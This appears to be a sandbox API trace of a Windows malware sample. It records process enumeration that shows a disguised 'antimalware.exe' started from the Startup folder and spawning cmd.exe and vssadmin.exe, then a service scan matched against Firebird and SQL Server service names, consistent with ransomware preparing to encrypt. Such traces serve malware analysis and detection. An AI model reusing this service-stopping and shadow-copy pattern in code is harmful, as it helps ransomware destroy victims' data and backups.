	[0154.948] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0154.949] lstrlenW (lpString="winlogon.exe") returned 12
	[0154.962] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0154.963] lstrlenW (lpString="services.exe") returned 12
	[0154.963] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0154.964] lstrlenW (lpString="lsass.exe") returned 9
	[0154.964] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.965] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.965] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.966] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.966] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.967] lstrlenW (lpString="svchost.exe") returned 11
	[0154.967] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.968] lstrlenW (lpString="svchost.exe") returned 11
	[0154.968] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0154.969] lstrlenW (lpString="dwm.exe") returned 7
	[0154.969] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.970] lstrlenW (lpString="svchost.exe") returned 11
	[0154.970] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.971] lstrlenW (lpString="svchost.exe") returned 11
	[0154.971] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.972] lstrlenW (lpString="svchost.exe") returned 11
	[0154.972] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.973] lstrlenW (lpString="svchost.exe") returned 11
	[0154.973] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.974] lstrlenW (lpString="svchost.exe") returned 11
	[0154.974] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.975] lstrlenW (lpString="svchost.exe") returned 11
	[0154.975] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.976] lstrlenW (lpString="svchost.exe") returned 11
	[0154.976] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.977] lstrlenW (lpString="svchost.exe") returned 11
	[0154.977] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.977] lstrlenW (lpString="svchost.exe") returned 11
	[0154.978] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.978] lstrlenW (lpString="svchost.exe") returned 11
	[0154.978] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0154.980] lstrlenW (lpString="spoolsv.exe") returned 11
	[0154.980] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.981] lstrlenW (lpString="svchost.exe") returned 11
	[0154.981] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0154.982] lstrlenW (lpString="audiodg.exe") returned 11
	[0154.982] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0154.983] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0154.983] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0154.984] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0154.984] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0154.985] lstrlenW (lpString="sihost.exe") returned 10
	[0154.985] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0154.986] lstrlenW (lpString="Memory Compression") returned 18
	[0154.986] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.987] lstrlenW (lpString="svchost.exe") returned 11
	[0154.987] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0154.988] lstrlenW (lpString="taskhostw.exe") returned 13
	[0154.988] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0154.989] lstrlenW (lpString="msoia.exe") returned 9
	[0154.989] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0154.989] lstrlenW (lpString="taskhostw.exe") returned 13
	[0154.990] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0154.990] lstrlenW (lpString="explorer.exe") returned 12
	[0154.990] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0154.991] lstrlenW (lpString="SearchUI.exe") returned 12
	[0154.991] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0154.992] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0154.992] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0155.409] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0155.409] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0155.410] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0155.410] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0155.411] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0155.411] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0155.412] lstrlenW (lpString="cmd.exe") returned 7
	[0155.412] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.413] lstrlenW (lpString="conhost.exe") returned 11
	[0155.413] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0155.414] lstrlenW (lpString="consent.exe") returned 11
	[0155.414] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0155.415] lstrlenW (lpString="vssadmin.exe") returned 12
	[0155.415] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0155.416] CloseHandle (hObject=0x550) returned 1
	[0155.416] Sleep (dwMilliseconds=0x1f4) 
	[0156.127] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b00c0
	[0156.127] EnumServicesStatusExW (in: hSCManager=0x45b00c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0156.128] GetLastError () returned 0xea
	[0156.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4640fc8
	[0156.128] EnumServicesStatusExW (in: hSCManager=0x45b00c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4640fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4640fc8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0156.138] CloseServiceHandle (hSCObject=0x45b00c0) returned 1
	[0156.138] lstrlenW (lpString="Appinfo") returned 7
	[0156.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0156.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0156.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0156.138] lstrlenW (lpString="AppXSvc") returned 7
	[0156.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0156.138] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0156.138] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0156.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0156.138] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0156.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0156.138] lstrlenW (lpString="Audiosrv") returned 8
	[0156.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0156.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0156.139] lstrlenW (lpString="BFE") returned 3
	[0156.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0156.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0156.139] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0156.139] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0156.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0156.139] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0156.139] lstrlenW (lpString="CDPSvc") returned 6
	[0156.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0156.139] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0156.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0156.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0156.139] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0156.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0156.140] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0156.140] lstrlenW (lpString="CryptSvc") returned 8
	[0156.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0156.140] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0156.140] lstrlenW (lpString="DcomLaunch") returned 10
	[0156.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0156.140] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0156.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0156.140] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0156.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0156.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0156.141] lstrlenW (lpString="Dhcp") returned 4
	[0156.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0156.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0156.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0156.141] lstrlenW (lpString="Dnscache") returned 8
	[0156.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0156.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0156.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0156.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0156.141] lstrlenW (lpString="DPS") returned 3
	[0156.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0156.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0156.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0156.142] lstrlenW (lpString="DusmSvc") returned 7
	[0156.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0156.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0156.142] lstrlenW (lpString="EventLog") returned 8
	[0156.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0156.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0156.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0156.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0156.142] lstrlenW (lpString="EventSystem") returned 11
	[0156.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0156.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0156.143] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0156.143] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0156.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0156.143] lstrlenW (lpString="FontCache") returned 9
	[0156.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0156.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0156.143] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0156.143] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0156.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0156.143] lstrlenW (lpString="gpsvc") returned 5
	[0156.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0156.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0156.143] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0156.143] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0156.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0156.143] lstrlenW (lpString="iphlpsvc") returned 8
	[0156.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0156.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0156.144] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0156.144] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
